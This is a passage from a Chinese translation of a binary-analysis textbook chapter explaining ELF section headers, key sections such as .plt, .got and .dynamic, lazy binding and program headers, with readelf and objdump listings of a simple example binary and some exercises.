SHF_WRITE 表示该节在运行时是可写的。这使得我们可以很容易地区分包含静态数据(如常量)和包含变量的节。SHF_ALLOC 标志表示该节的内容在执行二进制文件时会被加载到虚拟内存中(尽管实际加载是通过二进制文件的段视图进行的,而不是节视图)。最后,SHF_EXECINSTR 告诉你该节包含可执行指令,这在反汇编二进制文件时非常有用。

2.2.4 sh_addr、sh_offset 和 sh_size 字段

sh_addrsh_offsetsh_size 字段分别描述了节的虚拟地址、文件偏移量(从文件开始算起的字节数)和节的大小(以字节为单位)。乍一看,像 sh_addr 这样描述节虚拟地址的字段可能显得不合适;毕竟,我曾说过节只用于链接,而不是用于创建和执行进程。尽管这仍然成立,但链接器有时需要知道特定的代码和数据在运行时会位于哪些地址,以便进行重定位。sh_addr 字段提供了这些信息。那些在进程设置时不打算加载到虚拟内存中的节,其 sh_addr 值为零。

有时候,节与节之间存在一些链接器需要知道的关系。例如,SHT_SYMTABSHT_DYNSYMSHT_DYNAMIC 都有一个关联的字符串表节,里面包含了相关符号的符号名称。类似地,重定位节(类型为 SHT_RELSHT_RELA)与一个符号表相关联,该符号表描述了重定位中涉及的符号。sh_link 字段通过表示相关节在节头表中的索引,明确了这些关系。

2.2.6 sh_info 字段

sh_info 字段包含有关段的附加信息。附加信息的含义取决于段的类型。例如,对于重定位段,sh_info 表示将要应用重定位的段的索引。

2.2.7 sh_addralign 字段

某些段可能需要以特定方式在内存中对齐,以提高内存访问效率。例如,一个段可能需要加载到某个地址,这个地址是 8 字节或 16 字节的倍数。这些对齐要求在 sh_addralign 字段中指定。例如,如果该字段设置为 16,则表示该段的基地址(由链接器选择)必须是 16 的倍数。值 0 和 1 被保留,表示没有特殊的对齐需求。

2.2.8 sh_entsize 字段

一些段,例如符号表或重定位表,包含一组定义明确的数据结构(例如 Elf64_SymElf64_Rela)。对于这些段,sh_entsize 字段表示表中每个条目的字节大小。当该字段未使用时,它的值为零。

2.3 段

现在你已经熟悉了段头的结构,接下来让我们看看 ELF 二进制文件中一些具体的段。你在 GNU/Linux 系统上找到的典型 ELF 文件是按一系列标准(或事实上的标准)段组织的。列表 2-5 显示了使用 readelf 命令查看示例二进制文件的输出,其中列出了段。

列表 2-5:示例二进制文件中的段列表

$ readelf --sections --wide a.out
There are 31 section headers, starting at offset 0x19e8:

Section Headers:
  [Nr] Name             Type             Address          Off    Size   ES  Flg Lk Inf Al
  [ 0]                 ➊NULL             0000000000000000 000000 000000 00      0  0  0
  [ 1] .interp          PROGBITS         0000000000400238 000238 00001c 00     A  0  0  1
  [ 2] .note.ABI-tag    NOTE             0000000000400254 000254 000020 00     A  0  0  4
 [ 3] .note.gnu.build-id NOTE           0000000000400274 000274 000024 00     A  0  0  4
  [ 4] .gnu.hash        GNU_HASH        0000000000400298 000298 00001c 00     A  5  0  8
  [ 5] .dynsym          DYNSYM          00000000004002b8 0002b8 000060 18     A  6  1  8
  [ 6] .dynstr          STRTAB          0000000000400318 000318 00003d 00     A  0  0  1
  [ 7] .gnu.version     VERSYM          0000000000400356 000356 000008 02     A  5  0  2
  [ 8] .gnu.version_r   VERNEED         0000000000400360 000360 000020 00     A  6  1  8
  [ 9] .rela.dyn        RELA            0000000000400380 000380 000018 18     A  5  0  8
  [10] .rela.plt        RELA            0000000000400398 000398 000030 18    AI  5 24  8
  [11] .init            PROGBITS        00000000004003c8 0003c8 00001a 00  ➋AX  0  0  4
  [12] .plt             PROGBITS        00000000004003f0 0003f0 000030 10    AX  0  0 16
  [13] .plt.got         PROGBITS        0000000000400420 000420 000008 00    AX  0  0  8
  [14] .text           ➌PROGBITS        0000000000400430 000430 000192 00  ➍AX  0  0 16
  [15] .fini            PROGBITS        00000000004005c4 0005c4 000009 00    AX  0  0  4
  [16] .rodata          PROGBITS        00000000004005d0 0005d0 000011 00     A  0  0  4
  [17] .eh_frame_hdr    PROGBITS        00000000004005e4 0005e4 000034 00     A  0  0  4
  [18] .eh_frame        PROGBITS        0000000000400618 000618 0000f4 00     A  0  0  8
  [19] .init_array      INIT_ARRAY      0000000000600e10 000e10 000008 00    WA  0  0  8
  [20] .fini_array      FINI_ARRAY      0000000000600e18 000e18 000008 00    WA  0  0  8
  [21] .jcr             PROGBITS        0000000000600e20 000e20 000008 00    WA  0  0  8
  [22] .dynamic         DYNAMIC         0000000000600e28 000e28 0001d0 10    WA  6  0  8
  [23] .got             PROGBITS        0000000000600ff8 000ff8 000008 08    WA  0  0  8
  [24] .got.plt         PROGBITS        0000000000601000 001000 000028 08    WA  0  0  8
  [25] .data            PROGBITS        0000000000601028 001028 000010 00    WA  0  0  8
  [26] .bss             NOBITS          0000000000601038 001038 000008 00    WA  0  0  1
  [27] .comment         PROGBITS        0000000000000000 001038 000034 01    MS  0  0  1
  [28] .shstrtab        STRTAB          0000000000000000 0018da 00010c 00        0  0  1
  [29] .symtab          SYMTAB          0000000000000000 001070 000648 18       30 47  8
  [30] .strtab          STRTAB          0000000000000000 0016b8 000222 00        0  0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

对于每个段,readelf 显示相关的基本信息,包括索引(在段头表中)、段的名称和类型。此外,你还可以看到段的虚拟地址、文件偏移量和字节大小。对于包含表的段(例如符号表和重定位表),还有一列显示每个表条目的大小。最后,readelf 还显示每个段的相关标志,以及链接的段的索引(如果有的话)、附加信息(特定于段类型)和对齐要求。

如你所见,输出内容与段头的结构非常接近。每个 ELF 文件的段头表中的第一个条目是由 ELF 标准定义的 NULL 条目。该条目的类型为 SHT_NULL ➊,且段头的所有字段都被清零。这意味着该段没有名称且没有关联的字节(换句话说,它是一个没有实际段的段头)。接下来,让我们深入了解你在二进制分析过程中可能会遇到的其他一些最有趣的段的内容和目的。^(3)

2.3.1 .init 和 .fini 段

.init 段(在 清单 2-5 中的索引 11)包含执行初始化任务的可执行代码,且需要在二进制文件中的其他代码执行之前运行。你可以通过 readelf 中的 SHF_EXECINSTR 标志(在 Flg 列中以 X 表示) ➋ 知道它包含可执行代码。系统在将控制权转交给二进制文件的主入口点之前,会先执行 .init 段中的代码。因此,如果你熟悉面向对象编程,可以将此段视为构造函数。.fini 段(索引 15)与 .init 段类似,只是它在主程序完成后执行,基本上充当了一种析构函数的角色。

2.3.2 .text 段

.text 段(索引 14)是程序主代码所在的地方,因此它将经常成为你进行二进制分析或逆向工程时的主要关注点。如你在 清单 2-5 中的 readelf 输出所见,.text 段的类型是 SHT_PROGBITS ➌,因为它包含用户定义的代码。还要注意该段的标志,表示该段是可执行的但不可写的 ➍。一般来说,可执行的段几乎不应是可写的(反之亦然),因为这将使得攻击者通过利用漏洞直接覆盖代码来修改程序行为变得容易。

除了从程序源代码编译而来的特定应用程序代码之外,使用 gcc 编译的典型二进制文件的 .text 段包含了许多执行初始化和清理任务的标准函数,如 _startregister_tm_clonesframe_dummy。目前,_start 函数是这些标准函数中对你最为重要的一个。清单 2-6 展示了原因(不必担心理解清单中的所有汇编代码;接下来我会指出重要部分)。

清单 2-6:标准 _start 函数的反汇编

  $ objdump -M intel -d a.out
  ...

  Disassembly of section .text:

➊ 0000000000400430 <_start>:
    400430: 31 ed                   xor    ebp,ebp
    400432: 49 89 d1                mov    r9,rdx
    400435: 5e                      pop    rsi
    400436: 48 89 e2                       mov  rdx,rsp
    400439: 48 83 e4 f0                    and  rsp,0xfffffffffffffff0
    40043d: 50                             push rax
    40043e: 54                             push rsp
    40043f: 49 c7 c0 c0 05 40 00    mov    r8,0x4005c0
    400446: 48 c7 c1 50 05 40 00    mov    rcx,0x400550
    40044d: 48 c7 c7 26 05 40 00    mov  ➋rdi,0x400526
    400454: e8 b7 ff ff ff          call   400410 ➌<__libc_start_main@plt>
    400459: f4                      hlt
    40045a: 66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
  ...

➍ 0000000000400526 <main>:
    400526: 55                             push   rbp
    400527: 48 89 e5                       mov    rbp,rsp
    40052a: 48 83 ec 10                    sub    rsp,0x10
    40052e: 89 7d fc                       mov    DWORD PTR [rbp-0x4],edi
    400531: 48 89 75 f0                    mov    QWORD PTR [rbp-0x10],rsi
    400535: bf d4 05 40 00                 mov    edi,0x4005d4
    40053a: e8 c1 fe ff ff                 call   400400 <puts@plt>
    40053f: b8 00 00 00 00                 mov    eax,0x0
    400544: c9                             leave
    400545: c3                             ret
    400546: 66 2e 0f 1f 84 00 00           nop    WORD PTR cs:[rax+rax*1+0x0]
    40054d: 00 00 00
...

当你编写 C 程序时,总会有一个 main 函数,这是程序开始的地方。但如果你检查二进制文件的入口点,你会发现它并不是指向地址 0x400526 处的 main ➍。相反,它指向地址 0x400430,即 _start 的起始位置 ➊。

那么,程序执行是如何最终到达 main 的呢?仔细观察,你会发现 _start 在地址 0x40044d 处有一条指令,将 main 的地址移动到 rdi 寄存器 ➋,这是 x64 平台上用于传递函数调用参数的寄存器之一。接着,_start 调用一个名为 __libc_start_main 的函数 ➌。这个函数位于 .plt 段,意味着它是共享库的一部分(我将在 2.3.4 节中详细介绍这个内容)。

正如其名称所示,__libc_start_main 最终会调用 main 的地址,以开始执行用户定义的代码。

2.3.3 .bss、.data 和 .rodata 段

由于代码节通常是不可写的,变量通常被保存在一个或多个专用的可写节中。常量数据通常也会保存在单独的节中,以便保持二进制文件的整洁,尽管编译器确实有时会将常量数据输出到代码节中。(现代版本的gccclang通常不会混合代码和数据,但 Visual Studio 有时会这样做。)正如你在第六章中将看到的,这会使得反汇编变得更加困难,因为并不总是能清楚区分哪些字节是指令,哪些是数据。

.rodata节(即“只读数据”)用于存储常量值。由于它存储的是常量值,.rodata是不可写的。已初始化变量的默认值存储在.data节中,.data可写的,因为变量的值可能会在运行时改变。最后,.bss节为未初始化变量保留空间。该名称历史上代表“由符号启动的块”,指的是为(符号)变量保留内存块。

.rodata.data(类型为SHT_PROGBITS)不同,.bss节的类型是SHT_NOBITS。这是因为.bss在二进制文件中不占用任何字节,它仅仅是一个指令,用于在为二进制文件设置执行环境时为未初始化的变量分配合适大小的内存块。通常,位于.bss中的变量会被初始化为零,并且该节被标记为可写。

2.3.4 延迟绑定与 .plt、.got 和 .got.plt 节

在第一章中,我们讨论了当二进制文件被加载到进程中执行时,动态链接器会进行最后的重定位。例如,它会解析对位于共享库中的函数的引用,而共享库的加载地址在编译时尚未知道。我还简要提到,实际上,许多重定位通常不会在二进制文件加载时立即执行,而是会推迟到首次引用未解析位置时才执行。这被称为延迟绑定

延迟绑定与 PLT

延迟绑定确保动态链接器不会在不必要的时候浪费时间进行重定位,它只会在运行时真正需要时才执行这些重定位。在 Linux 中,延迟绑定是动态链接器的默认行为。你可以通过导出名为LD_BIND_NOW的环境变量强制链接器立即执行所有重定位^(4),但通常只有在应用程序要求实时性能保证时才会这样做。

Linux ELF 二进制文件中的懒绑定是通过两个特殊段来实现的,分别是过程连接表 .plt)和全局偏移表 .got)。尽管以下讨论主要集中在懒绑定上,GOT 实际上用于的不仅仅是懒绑定。ELF 二进制文件通常包含一个单独的 GOT 段,称为.got.plt,用于与.plt一起在懒绑定过程中使用。.got.plt段与常规的.got段类似,你可以认为它们是一样的(实际上,它们在历史上是一样的)。^(5) 图 2-2 展示了懒绑定过程及 PLT 和 GOT 的作用。

image

图 2-2:通过 PLT 调用共享库函数

正如图示和列表 2-5 中readelf的输出所示,.plt是一个包含可执行代码的代码段,就像.text一样,而.got.plt是一个数据段。^(6) PLT 完全由格式明确的存根构成,专门用于将来自.text段的调用指令导向适当的库位置。为了探讨 PLT 的格式,我们来看一下示例二进制文件中.plt段的反汇编,如列表 2-7 所示。(为简洁起见,指令操作码已省略。)

列表 2-7: .plt 节的反汇编

  $ objdump -M intel --section .plt -d a.out

  a.out:        file format elf64-x86-64

  Disassembly of section .plt:

➊ 00000000004003f0 <puts@plt-0x10>:
   4003f0: push QWORD PTR [rip+0x200c12] # 601008 <_GLOBAL_OFFSET_TABLE_+0x8>
   4003f6: jmp  QWORD PTR [rip+0x200c14] # 601010 <_GLOBAL_OFFSET_TABLE_+0x10>
 4003fc: nop  DWORD PTR [rax+0x0]

➋ 0000000000400400 <puts@plt>:
   400400: jmp  QWORD PTR [rip+0x200c12] # 601018 <_GLOBAL_OFFSET_TABLE_+0x18>
   400406: push ➌0x0
   40040b: jmp  4003f0 <_init+0x28>

➍ 0000000000400410 <__libc_start_main@plt>:
   400410: jmp  QWORD PTR [rip+0x200c0a] # 601020 <_GLOBAL_OFFSET_TABLE_+0x20>
   400416: push ➎0x1
   40041b: jmp  4003f0 <_init+0x28>

PLT 的格式如下:首先是一个默认的存根 ➊,稍后我会讲解。接下来是一系列函数存根 ➋➍,每个库函数一个,所有存根遵循相同的模式。还要注意,对于每个连续的函数存根,压入栈中的值会递增 ➌➎。这个值是一个标识符,稍后我会解释它的作用。现在让我们探讨一下如列表 2-7 所示的 PLT 存根是如何让你调用共享库函数的,如图 2-2 所示,并且这如何有助于懒绑定过程。

使用 PLT 动态解析库函数

假设你想要调用puts函数,它是著名的libc库的一部分。你不能直接调用它(由于上述原因,这是不可能的),但是你可以调用对应的 PLT 存根puts@plt(如图 2-2 中的步骤 ➊)。

PLT 存根以一条间接跳转指令开始,该指令跳转到存储在.got.plt段中的地址(如图 2-2 中的步骤 ➋)。最初,在懒绑定发生之前,这个地址只是函数存根中下一条指令的地址,这是一条push指令。因此,间接跳转只是将控制权转移到它后面的指令(如图 2-2 中的步骤 ➌)!这是一种相当间接的方式来跳转到下一条指令,但这样做是有充分理由的,接下来你会看到为什么。

push指令将一个整数(在此情况下为0x0)压入栈中。如前所述,这个整数作为对应 PLT 存根的标识符。接下来,下一条指令跳转到所有 PLT 函数存根共享的公共默认存根(图 2-2 中的步骤➍)。默认存根推送另一个标识符(来自 GOT),标识可执行文件本身,然后跳转(再次通过 GOT 间接跳转)到动态链接器(图 2-2 中的步骤➎)。

利用 PLT 存根推送的标识符,动态链接器可以确定它应该解析puts的地址,并且应该代表加载到进程中的主可执行文件进行此操作。最后这一点很重要,因为同一个进程中可能还加载了多个库,每个库都有自己的 PLT 和 GOT。动态链接器接着查找puts函数所在的地址,并将该函数的地址插入到与puts@plt相关联的 GOT 条目中。于是,GOT 条目不再像最初那样指向 PLT 存根,而是现在指向puts的实际地址。此时,延迟绑定过程完成。

最终,动态链接器通过将控制转移到puts来满足调用puts的最初目的。对于任何后续调用puts@plt,GOT 条目已经包含了puts的适当(修补过的)地址,使得 PLT 存根开始时的跳转直接到puts,而无需涉及动态链接器(图中的步骤➏)。

为什么使用 GOT?

在这一点上,你可能会想,为什么需要 GOT 呢?例如,直接将解析后的库地址直接修补到 PLT 存根的代码中不是更简单吗?事情不能那样做的主要原因归结为安全性。如果二进制文件的某个地方存在漏洞(对于任何非平凡的二进制文件,肯定会有),攻击者就可以轻松修改二进制文件的代码,如果像.text.plt这样的可执行部分是可写的。但由于 GOT 是数据段,并且它是允许被写入的,因此通过 GOT 进行额外的间接访问是合理的。换句话说,这一额外的间接层使得你能够避免创建可写的代码段。虽然攻击者仍可能成功修改 GOT 中的地址,但这种攻击模式远不如能够注入任意代码那样强大。

另一个原因与共享库中的代码共享性有关。如前所述,现代操作系统通过在所有使用共享库的进程之间共享库的代码来节省(物理)内存。这样,操作系统只需加载每个库的单一副本,而不是每个使用该库的进程都加载一份独立副本。然而,尽管每个库只有一个物理副本,但同一库可能会为每个进程映射到完全不同的虚拟地址。这意味着,不能将为库解析的地址直接打补丁到代码中,因为该地址只在某一个进程的上下文中有效,其他进程则无法使用。相反,将它们打补丁到 GOT 中是可行的,因为每个进程都有自己的私有 GOT 副本。

正如你可能已经猜到的,代码对可重定位数据符号(如从共享库导出的变量和常量)的引用也需要通过 GOT 进行重定向,以避免将数据地址直接打补丁到代码中。不同之处在于,数据引用直接通过 GOT,而没有经过 PLT 的中间步骤。这也澄清了 .got.got.plt 段之间的区别:.got 用于数据项的引用,而 .got.plt 专门用于存储通过 PLT 访问的库函数的解析地址。

2.3.5 .rel. 和 .rela.* 段*

如你在示例二进制文件的 readelf 转储中看到的节头所示,有几个段的名称为 rela.*。这些段的类型是 SHT_RELA,意味着它们包含了链接器用于执行重定位的信息。本质上,所有 SHT_RELA 类型的段都是一个重定位项表,每个项都详细描述了一个需要应用重定位的特定地址,以及如何解析该地址需要插入的特定值。清单 2-8 显示了示例二进制文件中重定位段的内容。如你所见,只有动态重定位(由动态链接器执行)仍然存在,因为所有在目标文件中存在的静态重定位已经在静态链接时被解决了。在任何实际的二进制文件中(与这个简单的示例不同),当然会有更多的动态重定位。

清单 2-8:示例二进制文件中的重定位段

   $ readelf --relocs a.out

   Relocation section '.rela.dyn' at offset 0x380 contains 1 entries:
    Offset       Info           Type           Sym. Value    Sym. Name + Addend
➊ 0000600ff8 000300000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0

   Relocation section '.rela.plt' at offset 0x398 contains 2 entries:
    Offset       Info           Type           Sym. Value    Sym. Name + Addend
➋ 0000601018 000100000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
➌ 0000601020 000200000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0

这里有两种类型的重定位,分别叫做R_X86_64_GLOB_DATR_X86_64_JUMP_SLO。虽然在实际使用中你可能会遇到更多的类型,但这些是最常见和最重要的几种。所有重定位类型的共同点是它们指定了一个偏移量,用于应用重定位。如何计算在该偏移量插入的值在不同的重定位类型中有所不同,有时甚至相当复杂。你可以在 ELF 规范中找到所有这些细节,然而对于普通的二进制分析任务,你不需要了解它们。

在 Listing 2-8 中显示的第一个重定位,类型为R_X86_64_GLOB_DAT,其偏移量位于.got节中➊,你可以通过将偏移量与readelf输出中显示的.got基地址进行比较来判断。通常,这种类型的重定位用于计算数据符号的地址,并将其插入.got中的正确偏移位置。

R_X86_64_JUMP_SLO条目被称为跳转槽➋➌;它们的偏移量位于.got.plt节中,表示可以插入库函数地址的槽。如果你回顾一下在 Listing 2-7 中示例二进制的 PLT 转储,你会发现每个跳转槽都被 PLT 存根用于获取其间接跳转目标。跳转槽的地址(通过相对偏移计算得到rip寄存器的地址)出现在 Listing 2-7 输出的右侧,紧跟在#符号之后。

2.3.6 .dynamic 节

.dynamic节充当操作系统和动态链接器在加载和设置 ELF 二进制文件执行时的“路线图”。如果你忘记了加载过程是如何工作的,可能需要参考 Section 1.4。

.dynamic节包含一个Elf64_Dyn结构体的表(如/usr/include/elf.h中所指定),也称为标签。这些标签有不同的类型,每个类型都有一个相关的值。举个例子,来看一下示例二进制中.dynamic的内容,如 Listing 2-9 所示。

Listing 2-9:.dynamic 节的内容

   $ readelf --dynamic a.out

   Dynamic section at offset 0xe28 contains 24 entries:
     Tag                Type                 Name/Value
➊ 0x0000000000000001  (NEEDED)             Shared library: [libc.so.6]
   0x000000000000000c  (INIT)               0x4003c8
   0x000000000000000d  (FINI)               0x4005c4
   0x0000000000000019  (INIT_ARRAY)         0x600e10
   0x000000000000001b  (INIT_ARRAYSZ)       8 (bytes)
   0x000000000000001a  (FINI_ARRAY)         0x600e18
   0x000000000000001c  (FINI_ARRAYSZ)       8 (bytes)
   0x000000006ffffef5  (GNU_HASH)           0x400298
   0x0000000000000005  (STRTAB)             0x400318
   0x0000000000000006  (SYMTAB)             0x4002b8
   0x000000000000000a  (STRSZ)              61 (bytes)
   0x000000000000000b  (SYMENT)             24 (bytes)
   0x0000000000000015  (DEBUG)              0x0
   0x0000000000000003  (PLTGOT)             0x601000
   0x0000000000000002  (PLTRELSZ)           48 (bytes)
   0x0000000000000014  (PLTREL)             RELA
   0x0000000000000017  (JMPREL)             0x400398
   0x0000000000000007  (RELA)               0x400380
   0x0000000000000008  (RELASZ)             24 (bytes)
   0x0000000000000009  (RELAENT)            24 (bytes)
➋ 0x000000006ffffffe  (VERNEED)            0x400360
➌ 0x000000006fffffff  (VERNEEDNUM)         1
   0x000000006ffffff0  (VERSYM)             0x400356
   0x0000000000000000  (NULL)               0x0

如你所见,.dynamic节中每个标签的类型显示在第二列输出中。DT_NEEDED类型的标签告知动态链接器可执行文件的依赖关系。例如,二进制文件使用来自libc.so.6共享库的puts函数➊,因此在执行二进制文件时需要加载它。DT_VERNEED➋和DT_VERNEEDNUM➌标签指定了版本依赖表的起始地址和条目数,该表表示可执行文件各个依赖项的预期版本。

除了列出依赖关系之外,.dynamic 节还包含指向动态链接器所需的其他重要信息的指针(例如,动态字符串表、动态符号表、.got.plt 节,以及通过 DT_STRTABDT_SYMTABDT_PLTGOTDT_RELA 类型标签指向的动态重定位节)。

2.3.7 .init_array 和 .fini_array 节

.init_array 节包含一个指向函数的指针数组,用作构造函数。当二进制文件被初始化时,这些函数会依次被调用,在调用 main 之前。前面提到的 .init 节包含一个启动函数,该函数执行一些启动可执行文件所需的关键初始化,而 .init_array 是一个数据节,可以包含任意数量的函数指针,包括指向你自定义构造函数的指针。在 gcc 中,你可以通过 __attribute__((constructor)) 修饰符将 C 源文件中的函数标记为构造函数。

在示例二进制文件中,.init_array 只包含一个条目。它是指向另一个默认初始化函数的指针,名为 frame_dummy,如 Listing 2-10 中的 objdump 输出所示。

Listing 2-10: .init_array 节的内容

➊ $ objdump -d --section .init_array a.out

  a.out:      file format elf64-x86-64

  Disassembly of section .init_array:

  0000000000600e10 <__frame_dummy_init_array_entry>:
    600e10:  ➋00 05 40 00 00 00 00 00 ..@.....

➌ $ objdump -d a.out | grep '<frame_dummy>'
  0000000000400500 <frame_dummy>:

第一次调用 objdump 显示了 .init_array 的内容 ➊。正如你所见,输出中有一个单一的函数指针(以阴影显示),其中包含字节 00 05 40 00 00 00 00 00 ➋。这实际上是小端表示的地址 0x400500(通过反转字节顺序并去掉前导零得到)。第二次调用 objdump 显示,这确实是 frame_dummy 函数的起始地址 ➌。

正如你现在可能已经猜到的,.fini_array 类似于 .init_array,只是 .fini_array 包含的是析构函数的指针,而不是构造函数的指针。.init_array.fini_array 中包含的指针是容易修改的,这使得它们成为插入钩子(例如添加初始化或清理代码来修改二进制行为)的方便位置。需要注意的是,旧版本的 gcc 生成的二进制文件可能包含 .ctors.dtors 节,而不是 .init_array.fini_array

2.3.8 .shstrtab, .symtab, .strtab, .dynsym 和 .dynstr 节

正如在讨论节头时提到的,.shstrtab 节只是一个包含二进制文件中所有节名称的以 NULL 结尾的字符串数组。它通过节头进行索引,使得像 readelf 这样的工具能够找出节的名称。

.symtab 节包含一个符号表,这是一个 Elf64_Sym 结构的表,每个结构将一个符号名称与二进制文件中其他地方的代码或数据(如函数或变量)关联起来。实际包含符号名称的字符串位于 .strtab 节。这些字符串由 Elf64_Sym 结构指向。在实际操作中,您在二进制分析过程中遇到的二进制文件通常已经被剥离,这意味着 .symtab.strtab 表会被移除。

.dynsym.dynstr 部分类似于 .symtab.strtab,不同之处在于它们包含的是动态链接所需的符号和字符串,而不是静态链接所需的。由于这些信息在动态链接过程中是必需的,因此它们不能被剥离。

请注意,静态符号表的节类型是 SHT_SYMTAB,而动态符号表的节类型是 SHT_DYNSYM。这使得像 strip 这样的工具能够轻松识别哪些符号表可以在剥离二进制文件时安全移除,哪些不能。

2.4 程序头

程序头表 提供了二进制文件的 段视图,与节头表提供的 节视图 相对。ELF 二进制文件的节视图,我之前已经讨论过,仅用于静态链接。而接下来我将讨论的段视图,则在操作系统和动态链接器加载 ELF 文件到进程中执行时使用,用于定位相关的代码和数据并决定将哪些内容加载到虚拟内存中。

一个 ELF 段包含零个或多个节,本质上将这些节捆绑成一个单独的块。由于段提供了执行视图,因此它们仅在可执行 ELF 文件中需要,而对于不可执行文件(如可重定位对象文件)则不需要。程序头表使用 struct Elf64_Phdr 类型的程序头来编码段视图。每个程序头包含列表 2-11 中所示的字段。

列表 2-11: /usr/include/elf.hElf64_Phdr 的定义

typedef struct {
  uint32_t  p_type;   /* Segment type             */
  uint32_t  p_flags;  /* Segment flags            */
  uint64_t  p_offset; /* Segment file offset      */
  uint64_t  p_vaddr;  /* Segment virtual address  */
  uint64_t  p_paddr;  /* Segment physical address */
  uint64_t  p_filesz; /* Segment size in file     */
  uint64_t  p_memsz;  /* Segment size in memory   */
  uint64_t  p_align;  /* Segment alignment        */
} Elf64_Phdr;

我将在接下来的几个部分中描述这些字段。列表 2-12 显示了通过 readelf 展示的示例二进制文件的程序头表。

列表 2-12:通过 readelf 显示的典型程序头

 $ readelf --wide --segments a.out

 Elf file type is EXEC (Executable file)
 Entry point 0x400430
 There are 9 program headers, starting at offset 64

 Program Headers:
   Type           Offset   VirtAddr           PhysAddr           FileSiz  MemSiz   Flg Align
   PHDR           0x000040 0x0000000000400040 0x0000000000400040 0x0001f8 0x0001f8 R E 0x8
   INTERP         0x000238 0x0000000000400238 0x0000000000400238 0x00001c 0x00001c R   0x1
       [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]          
   LOAD           0x000000 0x0000000000400000 0x0000000000400000 0x00070c 0x00070c R E 0x200000
   LOAD           0x000e10 0x0000000000600e10 0x0000000000600e10 0x000228 0x000230 RW  0x200000
   DYNAMIC        0x000e28 0x0000000000600e28 0x0000000000600e28 0x0001d0 0x0001d0 RW  0x8
   NOTE           0x000254 0x0000000000400254 0x0000000000400254 0x000044 0x000044 R   0x4
   GNU_EH_FRAME   0x0005e4 0x00000000004005e4 0x00000000004005e4 0x000034 0x000034 R   0x4
   GNU_STACK      0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW  0x10
   GNU_RELRO      0x000e10 0x0000000000600e10 0x0000000000600e10 0x0001f0 0x0001f0 R   0x1

➊ Section to Segment mapping:
   Segment Sections...
    00
    01     .interp
    02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version
           .gnu.version_r .rela.dyn .rela.plt .init .plt .plt.got .text .fini .rodata
           .eh_frame_hdr .eh_frame
    03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
    04     .dynamic
    05     .note.ABI-tag .note.gnu.build-id
    06     .eh_frame_hdr
    07
    08     .init_array .fini_array .jcr .dynamic .got

请注意 readelf 输出底部的节到段映射,它清楚地说明了段实际上只是将多个节捆绑在一起➊。这种特定的节到段映射是大多数 ELF 二进制文件的典型特征。在本节的其余部分,我将讨论列表 2-11 中所示的程序头字段。

2.4.1 p_type 字段

p_type 字段标识段的类型。该字段的重要值包括 PT_LOADPT_DYNAMICPT_INTERP

PT_LOAD类型的段,顾名思义,在设置进程时应该加载到内存中。可加载块的大小和加载地址在其余的程序头中描述。正如你在readelf输出中看到的,通常至少有两个PT_LOAD段——一个包含不可写的部分,另一个包含可写的数据部分。

PT_INTERP段包含.interp部分,该部分提供了用于加载二进制文件的解释器名称。相应地,PT_DYNAMIC段包含.dynamic部分,告诉解释器如何解析并准备二进制文件以供执行。还值得一提的是PT_PHDR段,它包含程序头表。

2.4.2 p_flags 字段

标志指定段的运行时访问权限。共有三种重要的标志:PF_XPF_WPF_RPF_X标志表示该段是可执行的,通常设置在代码段上(readelf在 Listing 2-12 中的Flg列会将其显示为E,而非X)。PF_W标志意味着该段是可写的,通常仅在可写数据段上设置,代码段不会设置此标志。最后,PF_R意味着该段是可读的,这通常适用于代码段和数据段。

2.4.3 p_offset、p_vaddr、p_paddr、p_filesz 和 p_memsz 字段

在 Listing 2-11 中,p_offsetp_vaddrp_filesz字段类似于节头中的sh_offsetsh_addrsh_size字段。它们分别指定段开始的文件偏移量、加载到的虚拟地址以及段的文件大小。对于可加载段,p_vaddr必须等于p_offset,其值模页面大小(通常为 4,096 字节)。

在某些系统中,可以使用p_paddr字段指定段在物理内存中的加载地址。在现代操作系统(如 Linux)中,此字段未使用,且值为零,因为它们将所有二进制文件加载到虚拟内存中执行。

初看起来,为什么段的文件大小(p_filesz)和内存中的大小(p_memsz)需要分别定义,可能不太明显。为了理解这一点,回想一下,有些段只表示需要在内存中分配一些字节,但实际上并不占用二进制文件中的这些字节。例如,.bss段包含零初始化的数据。由于该段中的所有数据已知本身就是零,因此不需要在二进制文件中实际包含这些零。然而,当将包含.bss的段加载到虚拟内存时,所有.bss中的字节应该被分配。因此,p_memsz有可能大于p_filesz。发生这种情况时,加载器在加载二进制文件时会在段的末尾添加额外的字节,并将它们初始化为零。

2.4.4 p_align 字段

p_align字段类似于节头中的sh_addralign字段。它表示段所需的内存对齐(以字节为单位)。就像sh_addralign一样,值为 0 或 1 表示不需要特定的对齐。如果p_align没有设置为 0 或 1,则其值必须是 2 的幂,且p_vaddr必须等于p_offset,模p_align

2.5 总结

在本章中,你了解了 ELF 格式的所有细节。我讲解了可执行文件头部格式、节头和程序头表格的格式,以及节的内容。这是一次相当大的挑战!但这是值得的,因为现在你已经熟悉了 ELF 二进制文件的内部结构,你有了一个很好的基础,能够进一步学习二进制分析。在下一章中,你将详细了解 PE 格式,这是 Windows 系统中使用的二进制格式。如果你只对分析 ELF 二进制文件感兴趣,可以跳过下一章,直接进入第四章。

练习

1. 手动检查头部

使用类似xxd的十六进制查看器以十六进制格式查看 ELF 二进制文件中的字节。例如,你可以使用命令xxd /bin/ls | head -n 30来查看/bin/ls程序的前 30 行字节。你能识别出表示 ELF 头部的字节吗?试着在xxd的输出中找到所有 ELF 头部字段,并看看这些字段的内容是否对你有意义。

2. 节与段

使用readelf查看 ELF 二进制文件中的节和段。节是如何映射到段中的?请制作二进制文件的磁盘表示与内存表示的插图。它们之间有哪些主要差异?

3. C 和 C++二进制文件

使用readelf反汇编两个二进制文件,一个是从 C 源代码编译而成,另一个是从 C++源代码编译而成。它们之间有什么区别?

4. 延迟绑定

